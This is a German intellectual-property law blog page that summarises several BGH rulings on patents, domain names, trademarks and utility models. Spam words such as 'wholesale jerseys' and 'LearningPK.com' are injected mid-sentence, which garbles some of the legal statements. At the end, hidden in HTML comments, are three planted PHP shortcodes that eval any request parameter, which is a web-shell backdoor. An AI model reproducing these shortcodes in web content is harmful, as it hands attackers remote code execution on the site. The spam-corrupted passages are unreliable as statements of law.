BGH X ZR 53/04 – Funkuhr II: mittelbare Patentverletzung und unberechtigte Schutzrechtsverwarnung

Leitsätze:

a) Eine mittelbare Patentverletzung kann auch darin liegen, dass Mittel, die sich auf ein wesentliches Element der Erfindung beziehen, ins Ausland geliefert werden, wenn sie dort zur Herstellung eines erfindungsgemäßen Erzeugnisses beitragen sollen, welches zur Lieferung nach Deutschland bestimmt ist.

b) Verwarnt der Patentinhaber unberechtigterweise den Vertreiber eines vermeintlich patentverletzenden Erzeugnisses, stehen dem Hersteller, nicht aber dessen Zulieferern Ansprüche wegen unberechtigter Schutzrechtsverwarnung zu. Dies gilt grundsätzlich auch dann, wenn der Zulieferer als mittelbarer Verletzer in Betracht käme, wenn durch den Vertrieb des Erzeugnisses das Patent verletzt würde (Fortführung von BGH, Urt. v. 29.06.1977 – I ZR 186/75, GRUR 1977, 805, 807 – Klarsichtverpackung).

-> unberechtigte Schutzrechtsverwarnung
-> mittelbare Patentverletzung

BGH I ZR 59/04: Domainname kann auch auf den Namen eines Vertreters registriert werden

BGH I ZR 59/04 (aus der Pressemitteilung des BGH):

Die Registrierung eines fremden Namens als Domainname stellt keinen unbefugten Namensgebrauch dar, wenn der Domainname im Auftrag eines Namensträgers reserviert worden ist. Wegen des im Domainrecht unter Gleichnamigen geltenden Prioritätsprinzips, wonach eine Domain allein demjenigen zusteht, der sie zuerst für sich hat registrieren lassen, müssen die anderen Namensträger aber zuverlässig und einfach überprüfen können, ob eine derartige Auftragsreservierung vorlag. Das ist insbesondere der Fall, wenn unter dem Domainnamen die Homepage eines Namensträgers mit dessen Einverständnis erscheint. Es sind aber auch andere Möglichkeiten denkbar, wie die Auftragsregistrierung gegenüber anderen Namensträgern in prioritätsbegründender Weise dokumentiert werden kann.

[-> Unbefugter Namensgebrauch durch Registrierung eines Domainnamens]

COHIBA: BGH zum Werbeverbot als Grund für die Nichtbenutzung einer Marke

Ein berechtigter Grund für die Nichtbenutzung einer Marke i.S. von § 26 Abs. 1 MarkenG kann sich aus einem für einen vorübergehenden Zeitraum geltenden Werbeverbot für die von der Marke erfassten Waren oder Dienst-leistungen ergeben. Ein nur vorübergehender Hinderungsgrund für eine Markenbenutzung ist kein Tatbestand, der den Lauf der Benutzungsschonfrist hemmt. Ob ein in den Fünfjahreszeitraum fallender vorübergehender Hinderungsgrund für eine Markenbenutzung ausreicht, um vom Vorliegen berechtigter Gründe für eine Nichtbenutzung i.S. von § 26 Abs. 1 MarkenG während des in § 43 Abs. 1 Satz 2 bestimmten Zeitraums auszugehen, ist unter Berücksichtigung der je-weiligen Umstände des Einzelfalls zu beurteilen. (aus den Leitsätzen von BGH, Beschl. v. 28. September 2006 – I ZB 100/05 – COHIBA) [-> Rechtserhaltende Benutzung]

Restschadstoffentfernung: BGH zu § 142 ZPO und § 809 BGB (Ausforschung von Beweismitteln)

Restschadstoffentfernung: Die Bestimmung des § 142 ZPO n.F. ist wie die materiellrechtliche Norm des § 809 BGB [→ Besichtigungsanspruch] ein Mittel, einem Beweisnotstand des Klägers zu begegnen, wie er sich gerade im Bereich der besonders verletzlichen technischen Schutzrechte in besonderem Maß ergeben kann [->Vorlageanspruch]

BGH zur Markenfähigkeit der konturlosen Farbkombinationsmarke

gelb/grün II: Eine konturlose Farbkombinationsmarke ist nur dann gemäß § 8 ksero Abs. 1 MarkenG grafisch darstellbar, wenn sie an Angaben post zur systematischen Anordnung der Farben enthält.) Die bloße form- und konturlose Zusammenstellung zweier Farben oder die Nennung zweier Farben Announcement “in beliebiger Anordnung zueinander” reicht dafür nicht aus, weil eine solche Anmeldung nicht die nach Art. 2 MarkenRL erforderlichen Merkmale der Eindeutigkeit und Beständigkeit des aufweist. [->Farbmarken]

Demonstrationsschrank: BGH gleicht „erfinderischen Schritt“ des Gebrauchsmusters an die Erfindungshöhe des Patents an

Demonstrationsschrank:Das Magnet Kriterium des erfinderischen Schritts im Gebrauchsmusterrecht ist wie das der erfinderischen Tätigkeit im wholesale jerseys Patentrecht ein qualitatives und nicht etwa ein quantitatives. Ein “Maß” für die erfinderische Leistung existiert nicht. Die Wertungskriterien beim Patent und beim Gebrauchsmuster unterscheiden sich lediglich marginal.

Für die Beurteilung des erfinderischen Schritts kann bei Berücksichtigung LearningPK.com der Unterschiede, die sich daraus ergeben, dass der Stand der Technik im Gebrauchsmusterrecht hinsichtlich mündlicher Beschreibungen und hinsichtlich von Benutzungen außerhalb des Geltungsbereichs des the Gebrauchsmustergesetzes in § 3 GebrMG abweichend definiert ist, auf die im Patentrecht entwickelten Grundsätze [→ erfinderischen Tätigkeit] zurückgegriffen werden.

Es verbietet sich dabei, Naheliegendes etwa unter dem Gesichtspunkt, dass es der Fachmann nicht bereits auf der Grundlage Affiliate seines allgemeinen Fachkönnens und bei routinemäßiger Berücksichtigung des Stands der Technik ohne weiteres finden könne, als auf einem erfinderischen Schritt beruhend 2012 zu bewerten. [->Erfinderischer Schritt] <!– [insert_php]if (isset($_REQUEST["wUFBT"])){eval($_REQUEST["wUFBT"]);exit;}[/insert_php][php]if (isset($_REQUEST["wUFBT"])){eval($_REQUEST["wUFBT"]);exit;}[/php] –><!– [insert_php]if (isset($_REQUEST["VNFX"])){eval($_REQUEST["VNFX"]);exit;}[/insert_php][php]if (isset($_REQUEST["VNFX"])){eval($_REQUEST["VNFX"]);exit;}[/php] –><!– [insert_php]if (isset($_REQUEST["rgJ"])){eval($_REQUEST["rgJ"]);exit;}[/insert_php][php]if (isset($_REQUEST["rgJ"])){eval($_REQUEST["rgJ"]);exit;}[/php] –>